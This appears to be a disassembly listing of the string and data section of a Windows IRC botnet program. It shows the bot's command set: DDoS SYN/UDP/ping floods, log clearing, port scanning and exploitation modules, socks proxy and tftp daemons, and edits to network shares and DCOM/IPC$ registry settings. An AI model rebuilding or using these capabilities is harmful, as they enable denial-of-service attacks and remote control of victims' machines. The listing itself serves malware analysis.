unk_432648	db    2			; DATA XREF: sub_40EE72+15DDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_28	db ' Failed to start flood thread, error: <%d>.',0
		align 4
unk_432694	db    2			; DATA XREF: sub_40EE72+156Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40EE72+14D8o
		align 4
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40EE72+14C3o
		align 4
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40EE72+14AEo
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40EE72+1499o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40EE72+1484o
		align 4
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40EE72+146Fo
		align 4
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40EE72+145Ao
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40EE72+1445o
		align 4
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40EE72+1430o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40EE72+141Bo
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40EE72+1406o
		align 4
dword_432754	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13D2o
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_432788	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13CBo
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40EE72+13B4o
		align 10h
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40EE72+139Fo
		align 4
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40EE72+138Ao
		align 10h
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40EE72+1375o
		align 4
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40EE72+1360o
		align 4
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40EE72+134Bo
		align 4
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40EE72+1336o
		align 4
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40EE72+1321o
		align 10h
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40EE72+130Co
		align 10h
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40EE72+12F7o
		align 4
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40EE72+12E2o
		align 4
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40EE72+12CDo
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40EE72+12B8o
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40EE72+12ADo
		align 4
aScan		db 'Scan',0             ; DATA XREF: sub_40EE72+12A8o
		align 4
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40EE72+128Fo
		align 10h
dword_432860	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40EE72+1284o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40EE72+127Fo
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40EE72+1266o
		align 4
dword_432888	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40EE72+125Bo
aClone		db 'Clone',0            ; DATA XREF: sub_40EE72+1256o
		align 10h
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40EE72+123Do
		align 4
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40EE72+1228o
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40EE72+1213o
		align 4
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40EE72+11FEo
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o
		align 4
dword_4328E8	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+11DEo
aDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40EE72+11C0o
dword_432904	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o
dword_432910	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o
dword_43291C	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40EE72+1197o
dword_43292C	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co
dword_432938	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o
dword_432944	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+116Eo
dword_432954	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o
dword_432960	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo
dword_43296C	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+1145o
dword_43297C	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao
dword_432988	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o
dword_432994	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40EE72+111Co
dword_4329A0	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o
dword_4329B0	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40EE72+110Co
aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o
		align 4
dword_4329D4	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o
dword_4329E0	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40EE72+10E3o
dword_4329EC	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40EE72+10CAo
dword_4329F4	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+10C2o
dword_432A00	dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o
dword_432A10	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40EE72+109Co
aDaemon_rlogin_	db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo
		align 4
dword_432A34	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40EE72+105Co
aServer		db 'Server',0           ; DATA XREF: sub_40EE72+1057o
					; sub_40EE72+1097o ...
		align 4
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo
		align 10h
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40EE72+1029o
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40EE72+1014o
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40EE72+FFFo
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40EE72+FEAo
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40EE72+FD5o
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40EE72+FC0o
aVer		db 'ver',0              ; DATA XREF: sub_40EE72+FABo
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40EE72+F96o
aLo		db 'lo',0               ; DATA XREF: sub_40EE72+F81o
		align 4
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40EE72+F6Co
		align 4
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40EE72+F57o
		align 10h
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40EE72+F42o
aRn		db 'rn',0               ; DATA XREF: sub_40EE72+F2Do
		align 4
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40EE72+F15o
a63		db '63',0               ; DATA XREF: sub_40EE72+DEEo
		align 4
asc_432AEC:				; DATA XREF: sub_40EE72+DC6o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40EE72+D89o
		align 4
aServer_0	db '$server',0          ; DATA XREF: sub_40EE72+D7Eo
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40EE72+D6Do
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_40EE72+D51o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40EE72+D40o
		align 4
aMe_0		db '$me',0              ; DATA XREF: sub_40EE72+D2Eo
aD		db '$%d',0              ; DATA XREF: sub_40EE72+CC0o
aD_0		db '$%d-',0             ; DATA XREF: sub_40EE72+C05o
		align 4
aC_0:					; DATA XREF: sub_40EE72+B19o
		unicode	0, <c>,0
dword_432B30	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AE4o
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_432B70	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AD6o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 10h
dword_432BB0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AC8o
		dd 2BBBB02h
aFailedToSta_29	db '  Failed to start chat thread, error: <%d>.',0
dword_432BF4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+A59o
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40EE72+9BFo
		align 4
dword_432C2C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+99Co
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_432C7C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+984o
					; sub_40EE72+4ABCo
		dd 2BBBB02h
aFailedToSta_30	db '  Failed to start transfer thread, error: <%d>.',0
dword_432CC4	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40EE72+973o
		dd 0A0Dh
dword_432CDC	dd 4E495001h, 47h	; DATA XREF: sub_40EE72+93Fo
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o
		align 10h
dword_432D00	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40EE72+8DCo
		dd 0D017325h, 0Ah
dword_432D1C	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40EE72+8ABo
dword_432D28	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+791o
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40EE72+6E8o
		align 4
dword_432D6C	dd 43434401h, 0		; DATA XREF: sub_40EE72+6CAo
dword_432D74	dd 323333h		; DATA XREF: sub_40EE72+651o
					; sub_40EE72+B4Fo ...
dword_432D78	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D2o
		dd 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_432DA8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5ABo
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40EE72+574o
aPart		db 'PART',0             ; DATA XREF: sub_40EE72+526o
					; sub_40EE72+5EFo
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: sub_40EE72+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_40EE72+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o
					; sub_40EE72+613o
dword_432E04	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+355o
					; sub_40EE72+5FF4o ...
		dd 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40EE72+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+28Do
					; sub_40EE72+4EB7o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40EE72+262o
a@:					; DATA XREF: sub_40EE72+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40EE72+22Ao
a005		db '005',0              ; DATA XREF: sub_40EE72+215o
a001		db '001',0              ; DATA XREF: sub_40EE72+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o
					; sub_40EE72+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40EE72+1A9o
		align 10h
asc_432E80:				; DATA XREF: sub_40EE72+19Ao
					; sub_40EE72+60FBo
		unicode	0, <!>,0
asc_432E84	db ' :',0               ; DATA XREF: sub_40EE72+86o
					; sub_40EE72:loc_40FA19o
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_41518A+120o
		align 4
unk_432E94	db    2			; DATA XREF: sub_41533B:loc_4153C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 4
unk_432ECC	db    2			; DATA XREF: sub_41533B+80o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
unk_432F04	db    2			; DATA XREF: sub_41533B+19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aListingProcess	db 'Listing processes:',0
		align 4
dword_432F38	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415669o
		dd 2029671Fh, 2BBBB02h
aUserLoggedOutS	db '  User logged out: <%s@%s>.',0
dword_432F70	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415642o
		dd 2029671Fh, 2BBBB02h
aErrorSessionru	db '  Error: SessionRun(): <%d>.',0
		align 4
dword_432FAC	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415622o
		dd 2029671Fh, 2BBBB02h
aUserLoggedInS@	db '  User logged in: <%s@%s>.',0
		align 4
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o
		align 4
dword_432FF8	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415561o
		dd 2029671Fh, 2BBBB02h
aErrorGetpeerna	db '  Error: getpeername(): <%d>.',0
		align 4
dword_433034	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415685:loc_4156CAo
		dd 2029671Fh, 2BBBB02h
aProtocolString	db '  Protocol string too long.',0
dword_43306C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156DF+1Bo
		dd 2029671Fh, 2BBBB02h,	6F4C2020h, 206E6967h, 656A6572h
		dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h
		dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h
		dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h
		dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h
		dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh
		dd 2BBBB02h, 61462020h,	64656C69h, 206F7420h, 72617473h
		dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h
		dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h
		dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h
		dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h
		dd 61657268h, 25203A64h, 2E64h,	7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h
		dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h
		dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h
		dd 2Eh,	7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	61462020h, 64656C69h, 206F7420h
		dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h
		dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h
		dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	72452020h, 3A726F72h, 41535720h
		dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 2 dup(0)
aConst		db 'const',0
		align 4
		dd 0
dword_43327C	dd 1			; DATA XREF: sub_415D01+7o
off_433280	dd offset sub_415996	; DATA XREF: sub_415D01+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 4159F4h, 706D6F63h, 2 dup(0)
		dd 3, 415A41h, 6E756F63h, 797274h, 0
		dd 4, 415ADFh, 736Fh, 2	dup(0)
		dd 5, 415B54h
dword_4332D4	dd 69257325h, 0		; DATA XREF: sub_415996+40o
					; ___:00415AC0o ...
byte_4332DC	db 50h			; DATA XREF: ___:00415A63o
					; ___:00415A70r
		db 43h,	2 dup(0)
dword_4332E0	dd 7C7325h		; DATA XREF: ___:00415B0Eo
					; sub_415D01+39o
dword_4332E4	dd 5D73255Bh, 7Ch	; DATA XREF: ___:00415C18o
dword_4332EC	dd 334B32h		; DATA XREF: ___:00415C08o
dword_4332F0	dd 5D64255Bh, 7325h	; DATA XREF: sub_415C5E+3Ao
dword_4332F8	dd 5D4D5Bh		; DATA XREF: sub_415C5E+2Co
					; sub_415C5E+57o
unk_4332FC	db    2			; DATA XREF: sub_415D6A+92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
		db    2
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_433370	dd offset dword_4333A8	; DATA XREF: sub_415F88+1B3o
					; sub_4162AC+17Ao
		align 8
		dd offset dword_4333A0
		align 10h
off_433380	dd offset dword_43339C	; DATA XREF: sub_4162AC+1E3o
		dd offset dword_433398
		dd offset dword_433394
		dd offset dword_433390
dword_433390	dd 5C3A44h		; DATA XREF: sub_415F88+217o
					; ___:0043338Co
dword_433394	dd 2444h		; DATA XREF: ___:00433388o
dword_433398	dd 5C3A43h		; DATA XREF: ___:00433384o
dword_43339C	dd 2443h		; DATA XREF: ___:off_433380o
dword_4333A0	dd 494D4441h, 244Eh	; DATA XREF: ___:00433378o
dword_4333A8	dd 24435049h, 0		; DATA XREF: ___:off_433370o
unk_4333B0	db    2			; DATA XREF: sub_415F88+2E5o
					; sub_4162AC+2DBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_4333F0	db    2			; DATA XREF: sub_415F88+2CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_433428	db    2			; DATA XREF: sub_415F88:loc_4161EAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_433464	db    2			; DATA XREF: sub_415F88+25Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_433498	db    2			; DATA XREF: sub_415F88:loc_416157o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_4334D4	db    2			; DATA XREF: sub_415F88+1C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_433508	db    2			; DATA XREF: sub_415F88:loc_4160BAo
					; sub_4162AC:loc_4163DAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_433548	db    2			; DATA XREF: sub_415F88:loc_4160B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_433594	db    2			; DATA XREF: sub_415F88:loc_416095o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_4335D8	db    2			; DATA XREF: sub_415F88+106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo
					; sub_4162AC+EDo
		align 4
unk_433638	db    2			; DATA XREF: sub_415F88+91o
					; sub_4162AC+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_433678	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_415F88:loc_415FF5o
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_4336A4	db    2			; DATA XREF: sub_415F88+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_415F88+54o
					; sub_4162AC+54o
		align 4
word_4336E4	dw 4Eh			; DATA XREF: sub_415F88+38r
		align 4
unk_4336E8	db    2			; DATA XREF: sub_4162AC+2C3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_1		db '%c:\',0             ; DATA XREF: sub_4162AC+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_4162AC+219o
unk_433728	db    2			; DATA XREF: sub_4162AC:loc_41644Bo
					; sub_4162AC:loc_41651Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
